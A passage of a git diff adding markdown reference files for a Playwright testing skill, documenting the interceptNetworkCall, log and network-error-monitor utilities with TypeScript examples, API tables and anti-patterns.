+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await networkCall; // Will hang indefinitely!
+
+// CORRECT - Set up interception first
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
+await page.goto('https://example.com');
+const result = await networkCall;
+```
+
+This pattern follows the classic test spy/stub pattern:
+
+1. Define the spy/stub (set up interception)
+2. Perform the action (trigger the network request)
+3. Assert on the spy/stub (await and verify the response)
+
+### Example 6: Multiple Intercepts
+
+**Context**: Intercepting different endpoints in same test - setup order is critical.
+
+**Implementation**:
+
+```typescript
+test('multiple intercepts', async ({ page, interceptNetworkCall }) => {
+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
